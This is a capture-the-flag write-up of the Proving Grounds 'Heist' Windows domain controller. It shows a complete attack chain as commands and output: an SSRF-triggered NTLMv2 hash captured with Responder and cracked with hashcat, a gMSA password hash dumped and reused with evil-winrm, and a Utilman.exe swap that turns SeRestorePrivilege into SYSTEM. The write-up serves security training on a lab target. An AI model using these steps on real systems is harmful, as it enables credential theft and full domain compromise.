# PG • CTF • Heist • Write-Up

> Proving Grounds Heist write-up: turn a URL feature into SSRF, capture an NTLMv2 hash with Responder, abuse a gMSA password reader and finish with SeRestorePrivilege.

Author: Elnur Badalov
Published: 2026-01-22
Updated: 2026-01-22
Tags: ctf
Source: https://elnurbda.com/posts/48-pg-ctf-heist/
License: CC BY 4.0, please cite the source URL.

---

# INFO

CTF URL: <https://portal.offsec.com/machine/heist-27692/overview>

Machine Type: Windows

IP: 192.168.107.165

Difficulty: <span style="color: red;background:rgb(30, 44, 60);">`Very Hard`</span>

# Reconnaissance

## NMAP

```bash
sudo nmap -p- -sS -sC -sV 192.168.107.165 -v --min-rate 10000

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-09 12:07:48Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: heist.offsec0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: heist.offsec0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.heist.offsec
| Issuer: commonName=DC01.heist.offsec
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-08T12:04:43
| Not valid after:  2025-09-07T12:04:43
| MD5:   5308:14b5:d0a4:aed9:00fa:047c:7e11:5179
|_SHA-1: c047:7ad0:f1dd:f443:9f8c:d638:4917:46f7:f9c3:13c1
|_ssl-date: 2025-03-09T12:09:19+00:00; +1s from scanner time.
| rdp-ntlm-info:
|   Target_Name: HEIST
|   NetBIOS_Domain_Name: HEIST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: heist.offsec
|   DNS_Computer_Name: DC01.heist.offsec
|   DNS_Tree_Name: heist.offsec
|   Product_Version: 10.0.17763
|_  System_Time: 2025-03-09T12:08:39+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp  open  http          Werkzeug httpd 2.0.1 (Python 3.9.0)
|_http-server-header: Werkzeug/2.0.1 Python/3.9.0
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
|_http-title: Super Secure Web Browser
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49703/tcp open  msrpc         Microsoft Windows RPC
49758/tcp open  msrpc         Microsoft Windows RPC

```

From the nmap result we can see a web service open on _8080_ and other ports suggest that it is a Domain Controller.

- Domain Name is `heist.offsec`
- FQDN is `DC01.heist.offsec`

## Web

It has an input accepting a URL.

![Web interface with URL input](/assets/48-pg-ctf-heist/20250309161306.png)

We can check if it can accept our attack machine. Setup a listener and send a http request to `http://attack-ip:port` via the website.

```bash
nc -lvnp 1234

listening on [any] 1234 ...
connect to [192.168.45.221] from (UNKNOWN) [192.168.107.165] 49808
GET / HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: 192.168.45.221:1234
```

We can see that it can request our machine which means it has an **SSRF** vulnerability. So it would be the first thing to exploit.

# Exploiting SSRF to Gain Access

## Responder

Let's setup responder to catch a hash:

```bash
sudo responder -I  tun0
# it will start listening
```

Then again in search bar in the website, access `http://attack-ip`.

You will receive the hash:

```bash
...

[HTTP] NTLMv2 Client   : 192.168.107.165
[HTTP] NTLMv2 Username : HEIST\enox
[HTTP] NTLMv2 Hash     : enox::HEIST:d693128413098689:AAF7BB58195E6339D3021DB417CDAE2C:010100000000000095E1C654ED90DB01F279D5BF48D6F53B00000000020008004B0050004D00380001001E00570049004E002D00520048004E004C0033004600520047005A0031004800040014004B0050004D0038002E004C004F00430041004C0003003400570049004E002D00520048004E004C0033004600520047005A00310048002E004B0050004D0038002E004C004F00430041004C00050014004B0050004D0038002E004C004F00430041004C000800300030000000000000000000000000300000C4F51C6E9DB9499D59C386C317DB4FE1D9EF380289201E62A8474177A8845FCE0A001000000000000000000000000000000000000900260048005400540050002F003100390032002E003100360038002E00340035002E003200320031000000000000000000
```

> Why it worked?

The Web Server tried to authenticate to the responder listener, and sent NetNTLMv2 hash to it.

Save it to a file (hash.txt)

## Cracking the Hash

Using hashcat:

```bash
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -o cracked.txt
```

The password for `HEIST\enox` user is - `california`.

## Check the Enox's Access

Using `crackmapexec` in the following one liner, we can see what we can access with the user:

```bash
for i in {smb,winrm,ldap,rdp,mssql}; do echo $i ; crackmapexec $i 192.168.107.165 -u enox -p california ; done

smb
SMB         192.168.107.165 445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:heist.offsec) (signing:True) (SMBv1:False)
SMB         192.168.107.165 445    DC01             [+] heist.offsec\enox:california
winrm
SMB         192.168.107.165 5985   DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:heist.offsec)
HTTP        192.168.107.165 5985   DC01             [*] http://192.168.107.165:5985/wsman
WINRM       192.168.107.165 5985   DC01             [+] heist.offsec\enox:california (Pwn3d!)
ldap
SMB         192.168.107.165 445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:heist.offsec) (signing:True) (SMBv1:False)
LDAP        192.168.107.165 445    DC01             [-] heist.offsec\enox:california Error connecting to the domain, are you sure LDAP service is running on the target ?
rdp
RDP         192.168.107.165 3389   DC01             [*] Windows 10 or Windows Server 2016 Build 17763 (name:DC01) (domain:heist.offsec) (nla:True)
RDP         192.168.107.165 3389   DC01             [-] heist.offsec\enox:california
```

`enox` user can authenticate to SMB and Winrm. Checking SMB Shares further we can see that `enox` does not have write access. So there is only way to get the shell - via `evil-winrm`.

```bash
crackmapexec smb 192.168.107.165 -u enox -p california --shares

SMB         192.168.107.165 445    DC01             Share           Permissions     Remark
SMB         192.168.107.165 445    DC01             -----           -----------     ------
SMB         192.168.107.165 445    DC01             ADMIN$                          Remote Admin
SMB         192.168.107.165 445    DC01             C$                              Default share
SMB         192.168.107.165 445    DC01             IPC$            READ            Remote IPC
SMB         192.168.107.165 445    DC01             NETLOGON        READ            Logon server share
SMB         192.168.107.165 445    DC01             SYSVOL          READ            Logon server share
```

`Evil-winrm`

```bash
evil-winrm -i 192.168.107.165 -u enox -p california

*Evil-WinRM* PS C:\Users\enox\Documents> whoami
heist\enox
```

# Host and Domain Enumeration

Upload `Powerview` onto the victim machine:

- <https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1>

```bash
upload /home/kali/Heist/powerview.ps1
. .\powerview.ps1
```

## Get-NetUser

Get information about users:

```powershell
Get-NetUser
# result (truncated)

distinguishedname      : CN=Administrator,CN=Users,DC=heist,DC=offsec

distinguishedname      : CN=Guest,CN=Users,DC=heist,DC=offsec

distinguishedname             : CN=krbtgt,CN=Users,DC=heist,DC=offsec

distinguishedname             : CN=Naqi,CN=Users,DC=heist,DC=offsec
samaccountname                : enox
memberof                      : {CN=Web Admins,CN=Users,DC=heist,DC=offsec, CN=Remote Management Users,CN=Builtin,DC=heist,DC=offsec}
```

Enox is in _Web Admins_ and _Remote Management Users_ (which is way we could authenticate to _winrm_) groups.

## Get-NetComputer

```powershell
Get-NetComputer -FullData
# result (truncated)
serverreferencebl             : CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=heist,DC=offsec
samaccountname                : DC01$

distinguishedname             : CN=svc_apache,CN=Managed Service Accounts,DC=heist,DC=offsec
samaccountname                : svc_apache$
memberof                      : CN=Remote Management Users,CN=Builtin,DC=heist,DC=offsec
```

We can see that there is a `svc_apache$` service account which is in `Remote Management Users`.

## Desktop

If we navigate to Desktop of enox user, we can find the following:

```powershell
*Evil-WinRM* PS C:\Users\enox\Desktop> ls
# result
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/20/2021   4:12 AM                application
-a----         3/9/2025   5:04 AM             34 local.txt
-a----        5/27/2021   7:03 AM            239 todo.txt
```

`local.txt` contains flag to submit.
`todo.txt` contains:

```txt
- Setup Flask Application for Secure Browser [DONE]
- Use group managed service account for apache [DONE]
- Migrate to apache
- Debug Flask Application [DONE]
- Remove Flask Application
- Submit IT Expenses file to admin. [DONE]
```

`application` contains the following:

```powershell
*Evil-WinRM* PS C:\Users\enox\Desktop\application> ls
# result
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/20/2021   4:12 AM                templates
-a----        5/26/2021   7:26 PM            927 app.py
```

`app.py` does not contain anything interesting.

In `todo.txt`, we saw `- Use group managed service account for apache [DONE]`. So identified `svc_apache$` is _GMSA_.

A **gMSA (Group Managed Service Account)** is a special type of Active Directory (AD) account designed for automated service management. It provides:

- **Automatic password management** (rotated by AD)
- **Simplified SPN (Service Principal Name) management**
- **Use by multiple servers** (unlike standalone MSA)

And there is a way to exploit the _password management_ part using `GMSAPasswordReader`

# PrivEsc via abusing GMSA

## GMSAPasswordReader

- <https://github.com/rvazarkar/GMSAPasswordReader>
- <https://github.com/expl0itabl3/Toolies>

Download the binary and upload onto the machine. And execute the following command:

```powershell
.\gmsapasswordreader.exe --accountname svc_apache
# result (truncated)
Calculating hashes for Current Value
[*] Input username             : svc_apache$
[*] Input domain               : HEIST.OFFSEC
[*] Salt                       : HEIST.OFFSECsvc_apache$
[*]       rc4_hmac             : 0C43E5AD6BC9104CFB94D56F4AECB4AB
[*]       aes128_cts_hmac_sha1 : F3DB550E9B27FB60D72DCF28FFCBA820
[*]       aes256_cts_hmac_sha1 : 63A47D94790C2E03ACD1A326E1C93916A7879996534222FD05E4B7A79EE6DDE9
[*]       des_cbc_md5          : 61297FE5A8088C26
```

The one that we can use as password hash is Current `rc4_hmac`'s value.

## Check access

```bash
evil-winrm -i 192.168.107.165 -u 'svc_apache$' -H 0C43E5AD6BC9104CFB94D56F4AECB4AB
# result
*Evil-WinRM* PS C:\Users\svc_apache$\Documents> whoami
heist\svc_apache$
```

# PrivEsc to SYSTEM

## Abusing SeRestorePrivilege

We can see that the user has `SeRestorePrivilege` priv:

```powershell
whoami /priv
# result
Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

- <https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html>

This privesc method suggest the following:

1. Launch PowerShell/ISE with the SeRestore privilege present.
2. Enable the privilege with Enable-SeRestorePrivilege).
3. Rename utilman.exe to utilman.old
4. Rename cmd.exe to utilman.exe
5. Lock the console and press Win+U

```powershell
mv C:\\Windows\\System32\\Utilman.exe C:\\Windows\\System32\\Utilman.old
mv C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\Utilman.exe
```

As we identified in NMAP scan, _3389_ port is open, so we can RDP. With no credentials in RDP Session, we can use Utilman.

Then in attack machine:

```bash
rdesktop 192.168.107.165
```

It will show you a Login Screen. Open the **Utilman** with `WIN+U` and it will give the **SYSTEM** shell:

![RDP login screen with Utilman exploit](/assets/48-pg-ctf-heist/20250309172513.png)

You can retrieve the flag from Administrator's Desktop.